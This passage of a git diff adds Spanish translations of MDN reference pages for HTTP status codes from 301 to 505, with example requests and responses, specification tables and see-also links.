+<p>{{Compat("http.status.206")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+</ul>
diff --git a/files/es/web/http/status/301/index.html b/files/es/web/http/status/301/index.html
new file mode 100644
index 0000000000..496fb038f3
--- /dev/null
+++ b/files/es/web/http/status/301/index.html
@@ -0,0 +1,54 @@
+---
+title: 301 Movido Permanentemente
+slug: Web/HTTP/Status/301
+translation_of: Web/HTTP/Status/301
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The HyperText Transfer Protocol (HTTP) <code><strong>301 Moved Permanently</strong></code> redirect status response code indicates that the resource requested has been definitively moved to the URL given by the {{HTTPHeader("Location")}} headers. A browser redirects to this page and search engines update their links to the resource (in 'SEO-speak', it is said that the 'link-juice' is sent to the new URL).</p>
+
+<p>Even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents align with it - you can still find this type of bugged software out there. It is therefore recommended to use the <code>301</code> code only as a response for {{HTTPMethod("GET")}} or {{HTTPMethod("HEAD")}} methods and to use the {{HTTPStatus("308", "308 Permanent Redirect")}} for {{HTTPMethod("POST")}} methods instead, as the method change is explicitly prohibited with this status.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">301 Moved Permanently</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="Client_request">Client request</h3>
+
+<pre>GET /index.php HTTP/1.1
+Host: www.example.org</pre>
+
+<h3 id="Server_response">Server response</h3>
+
+<pre>HTTP/1.1 301 Moved Permanently
+Location: http://www.example.org/index.asp</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "301 Moved Permanently" , "6.4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("http.status.301")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus("308", "308 Permanent Redirect")}}</li>
+ <li>{{HTTPStatus("302", "302 Found")}}, the temporary redirect</li>
+</ul>
diff --git a/files/es/web/http/status/302/index.html b/files/es/web/http/status/302/index.html
new file mode 100644
index 0000000000..d778ed9346
--- /dev/null
+++ b/files/es/web/http/status/302/index.html
@@ -0,0 +1,50 @@
+---
+title: 302 Found
+slug: Web/HTTP/Status/302
+tags:
+  - Códigos de estado
+  - HTTP
+  - Referencia
+  - redirecciones
+translation_of: Web/HTTP/Status/302
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El código de estado de redirección HTTP <code><strong>302 Found</strong></code>  indica que el recurso solicitado ha sido movido temporalmente a la URL dada por las cabeceras {{HTTPHeader("Location")}}. Un navegador redirecciona a esta página, pero los motores de búsqueda no actualizan sus enlaces al recurso ( hablando en lenguaje SEO, se suele decir que  el link juice no es enviado a la nueva URL).</p>
+
+<p>Incluso si la especificación requiere el método, y el cuerpo, no debe ser alterado cuando la redirección se completa, no todos los user-agents se conforman aquí, y tu puedes encontrar software inestable por ahí. Por la tanto se recomienda poner el código <code>302</code>  sólo como respuesta a los métodos {{HTTPMethod("GET")}} o {{HTTPMethod("HEAD")}} , y usar  en cambio {{HTTPStatus("307")}} <code>Temporary Redirect</code> , ya que el método de cambio está explicitamente prohibido en ese caso.</p>
+
+<p>En casos en los que quieras que el método usado para cambiar a {{HTTPMethod("GET")}},  usa {{HTTPStatus("303")}} <code>See Other</code>. Esto es práctico cuando quieres dar una respuesta al método {{HTTPMethod("PUT")}}  que no es el recurso subido, pero sí un mensaje de confirmación (como "Has subido satisfactoriamente XYZ").</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">302 Found</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_navegadores">Compatibilidad navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.302")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>{{HTTPStatus("307")}} <code>Temporary Redirect</code>,  el equivalente a este código de estado, pero que nunca cambia el método usado.</li>
+ <li>{{HTTPStatus("303")}} <code>See Other</code>, una redirección temporal que cambia el método usado a {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("301")}} <code>Moved Permanently</code>, la redirección permanente.</li>
+</ul>
diff --git a/files/es/web/http/status/304/index.html b/files/es/web/http/status/304/index.html
new file mode 100644
index 0000000000..b868e3da50
--- /dev/null
+++ b/files/es/web/http/status/304/index.html
@@ -0,0 +1,56 @@
+---
+title: 304 Not Modified
+slug: Web/HTTP/Status/304
+translation_of: Web/HTTP/Status/304
+---
+<div> </div>
+
+<div>El código HTTP de redirección  <code><strong>304 Not Modified</strong></code> en el response de la petición indica que no hay necesidad de retransmitir los recursos solicitados. Es una redirección implícita a un elemento/recurso de caché.</div>
+
+<div>Esto sucede cuando el método de la solicitud es {{glossary("seguro")}} ({{glossary("safe")}}), como en el las peticiones con métodos {{HTTPMethod("GET")}} o {{HTTPMethod("HEAD")}}, o cuando el request (petición) está condicionada y usa la cabecera {{HTTPHeader("If-None-Match")}} o un {{HTTPHeader("If-Modified-Since")}}</div>
+
+<div>El response {{HTTPStatus("200")}} <code>OK</code> habría incluido los encabezados {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}}, y {{HTTPHeader("Vary")}}.</div>
+
+<div> </div>
+
+<div class="note">
+<p>Muchos <a href="/en-US/docs/Tools/Network_Monitor">developer tools' network panels</a> (paneles de red de desarrollo) de los navegadores crean extraños request que conducen a un "response(respuesta del servidor) <code>304</code> ", entonces el acceso al caché local es accesible a los desarrollodares.</p>
+</div>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">304 Not Modified</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "304 Not Modified" , "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.304")}}</p>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>Browser behavior differs if this response erroneously includes a body on persistent connections See <a href="/en-US/docs/Web/HTTP/Status/204">204 No Content</a> for more detail.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+</ul>
diff --git a/files/es/web/http/status/400/index.html b/files/es/web/http/status/400/index.html
new file mode 100644
index 0000000000..eb2ef6e2d8
--- /dev/null
+++ b/files/es/web/http/status/400/index.html
@@ -0,0 +1,38 @@
+---
+title: 400 Petición mala
+slug: Web/HTTP/Status/400
+tags:
+  - Codigo de Estado
+  - Error del cliente
+  - HTTP
+  - Referencia
+translation_of: Web/HTTP/Status/400
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La respuesta de código de estado del Protocolo de Transferencia de Hipertexto (HTTP) <code><strong>400 Bad Request</strong></code> indica que el servidor no puede o no procesará la petición debido a algo que es percibido como un error del cliente (p. ej., sintaxis de petición malformada, solicitud inválida de enmarcado de mensajes, o enrutamiento engañoso de peticiones).</p>
+
+<div class="warning">
+<p>El cliente no debería repetir esta petición sin modificarla.</p>
+</div>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">400 Petición mala</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "400 Bad Request" , "6.5.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/http/status/401/index.html b/files/es/web/http/status/401/index.html
new file mode 100644
index 0000000000..e454a79a08
--- /dev/null
+++ b/files/es/web/http/status/401/index.html
@@ -0,0 +1,54 @@
+---
+title: 401 Unauthorized
+slug: Web/HTTP/Status/401
+translation_of: Web/HTTP/Status/401
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El código de error HTTP 401 indica que la petición (request) no ha sido ejecutada porque carece de credenciales válidas de autenticación para el recurso solicitado.</p>
+
+<p>Este estatus se envia con un {{HTTPHeader("WWW-Authenticate")}} encabezado que contiene informacion sobre como autorizar correctamente.</p>
+
+<p>Es similar al estatus {{HTTPStatus("403")}}, pero en este caso , la autenticación si es posible.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">401 Unauthorized</pre>
+
+<h2 id="Respuesta_de_ejemplo">Respuesta de ejemplo</h2>
+
+<pre>HTTP/1.1 401 Unauthorized
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+WWW-Authenticate: Basic realm="Access to staging site"</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7235", "401 Unauthorized" , "3.1")}}</td>
+   <td>HTTP/1.1: Authentication</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si usted desea contribuir con los datos, consulte: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envienos una Pull Request.</p>
+
+<p>{{Compat("http.status.401")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/es/web/http/status/403/index.html b/files/es/web/http/status/403/index.html
new file mode 100644
index 0000000000..9110d5f78a
--- /dev/null
+++ b/files/es/web/http/status/403/index.html
@@ -0,0 +1,49 @@
+---
+title: 403 Forbidden
+slug: Web/HTTP/Status/403
+translation_of: Web/HTTP/Status/403
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>El código de error de respuesta HTTP <strong><code>403 Forbidden</code></strong> indica que el servidor ha entendido nuestra petición, pero se niega a autorizarla.</div>
+
+<div> </div>
+
+<div>Este estado es similar a {{HTTPStatus("401")}}, pero en este caso, re-autenticarnos no provocará ninguna diferencia. El acceso está permanentemente prohibido y vinculado a la lógica de la aplicación (como un error de contraseña incorrecta).</div>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">403 Forbidden</pre>
+
+<h2 id="Respuesta_de_ejemplo">Respuesta de ejemplo</h2>
+
+<pre>HTTP/1.1 403 Forbidden
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "403 Forbidden" , "6.5.3")}}</td>
+   <td>HTTP/1.1: Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte https://github.com/mdn/browser-compat-data y envíanos una Pull Request.</p>
+
+<p>{{Compat("http.status.403")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPStatus("401")}}</li>
+</ul>
diff --git a/files/es/web/http/status/404/index.html b/files/es/web/http/status/404/index.html
new file mode 100644
index 0000000000..b1296c8043
--- /dev/null
+++ b/files/es/web/http/status/404/index.html
@@ -0,0 +1,64 @@
+---
+title: 404 Not Found
+slug: Web/HTTP/Status/404
+tags:
+  - Codigo de Estado
+  - Error de Cliente
+  - HTTP
+translation_of: Web/HTTP/Status/404
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El codigo de error HTTP <code><strong>404 Not Found</strong></code> (404 No Encontrado) de respuesta de cliente indica que el servidor no puede encontrar el recurso solicitado. Vinculos que conducen a una pagina 404 son normalmente llamados <em>vinculos rotos</em> o <em>vinculos muertos</em>, y pueden estar sujetos a <a href="https://es.wikipedia.org/wiki/Enlace_roto">Enlace Roto</a>.</p>
+
+<p>Un código de estado 404 no indica si el recurso está temporalmente o permanentemente ausente. Pero si un recurso es permanentemente eliminado, un {{HTTPStatus(410)}} (Gone) debe ser usado en lugar del estado 404.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">404 Not Found</pre>
+
+<p>En español:</p>
+
+<pre class="syntaxbox">404 No Encontrado</pre>
+
+<h2 id="Paginas_de_error_personalizadas">Paginas de error personalizadas</h2>
+
+<p>Muchos sitios web personalizan la apariencia de la pagina 404 para que sea de utilidad al usuario y proveen una guia para saber qué hacer. Servidores Apache pueden ser configurados usando un archivo <code>.htaccess</code> con el siguiente codigo:</p>
+
+<pre class="brush: bash">ErrorDocument 404 /no-encontrado.html</pre>
+
+<p>Para una pagina 404 de ejemplo, mire la pagina <a href="https://developer.mozilla.org/es/404">MDN 404</a>.</p>
+
+<div class="note">
+<p>Diseños personalizados son buenos, si se usan de manera moderada. Siente libre de hacer tus paginas 404 humoristicas y humanas, pero no confundas a tus usuarios.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Titulo</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semanticas y contenido</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.404")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPStatus(410)}}</li>
+ <li>
+  <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p>
+ </li>
+</ul>
diff --git a/files/es/web/http/status/408/index.html b/files/es/web/http/status/408/index.html
new file mode 100644
index 0000000000..0f6d418a72
--- /dev/null
+++ b/files/es/web/http/status/408/index.html
@@ -0,0 +1,42 @@
+---
+title: 408 Request Timeout
+slug: Web/HTTP/Status/408
+translation_of: Web/HTTP/Status/408
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El código de estado de la respuesta <code><strong>408 Request Timeout</strong></code> del Protocolo de Transferencia de Hipertexto (HTTP) significa que el servidor desea cerrar esta conexión no usada. Se envía a una conexión inactiva por algunos servidores, incluso sin solicitud previa por parte del cliente.</p>
+
+<p>Un servidor debe enviar "close" en el campo de la cabecera {{HTTPHeader("Connection")}} en la respuesta, ya que <code>408</code> implica que el servidor ha decidido cerrar la conexión en lugar de continuar esperando.</p>
+
+<p>Esta respuesta es usada mucho más desde que algunos navegadores, como Chrome, Firefox 27+, y IE9, usan el mecanizmo de pre-conexión HTTP para acelerar la naveación.</p>
+
+<div class="note">
+<p><strong>Nota: </strong><span id="result_box" lang="es">algunos servidores simplemente cierran la conexión sin enviar este mensaje.</span></p>
+</div>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">408 Request Timeout</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "408 Request Timeout" , "6.5.7")}}</td>
+   <td>Protocolo de Transferencia de HiperTexto (HTTP/1.1): Semánticas y Contenido</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li>{{HTTPHeader("X-DNS-Prefetch-Control")}}</li>
+</ul>
diff --git a/files/es/web/http/status/418/index.html b/files/es/web/http/status/418/index.html
new file mode 100644
index 0000000000..2d2713f438
--- /dev/null
+++ b/files/es/web/http/status/418/index.html
@@ -0,0 +1,45 @@
+---
+title: 418 Soy una tetera
+slug: Web/HTTP/Status/418
+tags:
+  - HTTP
+  - HTTP Status Code
+  - Protocolo HTTP
+  - Referencia
+translation_of: Web/HTTP/Status/418
+---
+<p>El código de error HTTP <strong><code>418 Soy una tetera</code></strong> indica que el servidor se rehusa a preparar café porque es una tetera. Este error es una referencia al Hyper Text Coffee Pot Control Protocol, creado como parte de una broma del April Fools' de 1998.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">418 I'm a teapot</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td>
+   <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, por favor, eche un vistazo a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</p>
+
+<p>{{Compat("http.status.418")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Hyper_Text_Coffee_Pot_Control_Protocol" lang="ES">Wikipedia: Hyper Text Coffee Pot Control Protocol (Español)</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Hyper_Text_Coffee_Pot_Control_Protocol" lang="EN">Wikipedia: Hyper Text Coffee Pot Control Protocol (Inglés)</a></li>
+</ul>
diff --git a/files/es/web/http/status/500/index.html b/files/es/web/http/status/500/index.html
new file mode 100644
index 0000000000..be3984a115
--- /dev/null
+++ b/files/es/web/http/status/500/index.html
@@ -0,0 +1,39 @@
+---
+title: 500 Error Interno del Servidor
+slug: Web/HTTP/Status/500
+tags:
+  - Codigo de Estado
+  - Error del servidor
+  - HTTP
+translation_of: Web/HTTP/Status/500
+---
+<p>El código de respuesta <code><strong>500 Error Interno del Servidor</strong></code> del Protocolo de Transferencia de Hipertexto (HTTP) indica que el servidor encontró una condición inesperada que le impide completar la petición.</p>
+
+<p>Este código es una respuesta genércia. Usualmente, esto indica que el servidor no puede encontrar un mejor código de respuesta del tipo 5xx. En ocasiones, los administradores del servidor registran respuestas como el código de estado 500 con más detalles sobre la petición en aras de evitar que el error vuelva a ocurrir en el futuro.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox notranslate">500 Error Interno del Servidor</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Titulo</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "500 Error Interno del Servidor" , "6.6.1")}}</td>
+   <td><span class="tlid-translation translation"><span title="">Protocolo de Transferencia de Hipertexto</span></span> (HTTP/1.1): <span class="tlid-translation translation"><span title="">Semántica y Contenido</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p><span class="tlid-translation translation"><span title="">La información que se muestra a continuación se ha extraído del MDN de GitHub.</span></span> (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden"><span class="tlid-translation translation"><span title="">La tabla de compatibilidad en esta página se genera a partir de datos estructurados.</span> <span title="">Si desea contribuir a los datos, por favor revise</span></span> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <span class="tlid-translation translation"><span title="">y envíenos una solicitud pull.</span></span></p>
+
+<p>{{Compat("http.status.500")}}</p>
diff --git a/files/es/web/http/status/502/index.html b/files/es/web/http/status/502/index.html
new file mode 100644
index 0000000000..ada07e38c5
--- /dev/null
+++ b/files/es/web/http/status/502/index.html
@@ -0,0 +1,48 @@
+---
+title: 502 Puerta de enlace no válida
+slug: Web/HTTP/Status/502
+tags:
+  - Codigo de Estado
+  - Error de servidor
+  - HTTP
+translation_of: Web/HTTP/Status/502
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El código de respuesta de error del servidor de HTTP <code><strong>502 Bad Gateway</strong></code> indica que el servidor, mientras actuaba como una puerta de enlace o proxy, recibió una respuesta no válida del servidor ascendente.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Una {{interwiki("wikipedia", "Puerta_de_enlace", "puerta de enlace")}} puede referirse a cosas distintas en redes y un error 502 no es algo que normalmente puedas arreglar, ya que requiere correcciones por parte del servidor o los proxies a través de los que intentas acceder.</p>
+</div>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">502 Bad Gateway</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.502")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPStatus(504)}}</li>
+ <li><a href="https://www.lucushost.com/blog/502-bad-gateway-solucionar-error-502-wordpress/">502 Bad Gateway</a></li>
+</ul>
diff --git a/files/es/web/http/status/503/index.html b/files/es/web/http/status/503/index.html
new file mode 100644
index 0000000000..45d302d241
--- /dev/null
+++ b/files/es/web/http/status/503/index.html
@@ -0,0 +1,54 @@
+---
+title: 503 Servicio No Disponible
+slug: Web/HTTP/Status/503
+tags:
+  - Codigo de Estado
+  - Error de servidor
+  - HTTP
+  - error 503
+translation_of: Web/HTTP/Status/503
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>El envío de un código de error <code><strong>503 Servicio No Disponible</strong></code> como respuesta por un servidor que use el Protocolo de Transferencia de Hipertexto (HTTP) indica que el servidor no está listo para manejar la solicitud.</p>
+
+<p>Las causas más comunes son que el servidor esté apagado por mantenimiento o esté sobrecargado. Esta respuesta debería usarse para condiciones temporales y la cabecera HTTP {{HTTPHeader("Retry-After")}} debería, si es posible, contener el tiempo estimado para la recuperación del servicio.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> debería enviarse con esta respuesta una página informativa explicando el problema.</p>
+</div>
+
+<p>Debe tenerse cuidado con las cabeceras relacionadas con la caché, ya que un estado 503 suele ser algo temporal, y, por lo tanto, no se deberían almacenar las respuestas en caché.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">503 Servicio No Disponible</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}</td>
+   <td>Protocolo de Transferencia de HiperTexto (HTTP/1.1): Semántica y Contenido</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_Navegadores">Compatibilidad entre Navegadores</h2>
+
+<p>La información mostrada abajo ha sido obtenida desde el GitHub de MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada desde datos estructurados. Si quieres contribuir a estos datos, por favor consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</p>
+
+<p>{{Compat("http.status.503")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
diff --git a/files/es/web/http/status/504/index.html b/files/es/web/http/status/504/index.html
new file mode 100644
index 0000000000..e5013fc428
--- /dev/null
+++ b/files/es/web/http/status/504/index.html
@@ -0,0 +1,47 @@
+---
+title: 504 Gateway Timeout
+slug: Web/HTTP/Status/504
+translation_of: Web/HTTP/Status/504
+---
+<div> </div>
+
+<div>El código de respuesta de error del servidor de HTTP  <code><strong>504 Gateway Timeout</strong></code> indica que el servidor, mientras actuaba como una puerta de enlace o proxy, no pudo obtener una respuesta a tiempo.</div>
+
+<div> </div>
+
+<div class="note">
+<p><strong>Nota: </strong>Una {{interwiki("wikipedia", "Puerta_de_enlace", "puerta de enlace")}} puede referirse a cosas distintas en redes y un error 502 no es algo que normalmente puedas arreglar, ya que requiere correcciones por parte del servidor o los proxies a través de los que intentas acceder.</p>
+</div>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">504 Gateway Timeout</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "504 Gateway Timeout" , "6.6.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>La información que se muestra a continuación fue extraída de la de cuenta de Github de MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.504")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPStatus(502)}}</li>
+</ul>
diff --git a/files/es/web/http/status/505/index.html b/files/es/web/http/status/505/index.html
new file mode 100644
index 0000000000..8a814d19c2
--- /dev/null
+++ b/files/es/web/http/status/505/index.html
@@ -0,0 +1,33 @@
+---
+title: 505 HTTP Version Not Supported
+slug: Web/HTTP/Status/505
+translation_of: Web/HTTP/Status/505
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The HyperText Transfer Protocol (HTTP) <code><strong>505 HTTP Version Not Supported</strong></code> response status code indicates that the HTTP version used in the request is not supported by the server.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">505 HTTP Version Not Supported</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+</ul>
diff --git a/files/es/web/http/status/8080/index.html b/files/es/web/http/status/8080/index.html
new file mode 100644
index 0000000000..10ad4ac7b2
--- /dev/null
+++ b/files/es/web/http/status/8080/index.html
@@ -0,0 +1,34 @@
+---
+title: 413 Payload Too Large
+slug: Web/HTTP/Status/8080
+translation_of: Web/HTTP/Status/413
+---
+<div>{{HTTPSidebar}}</div>
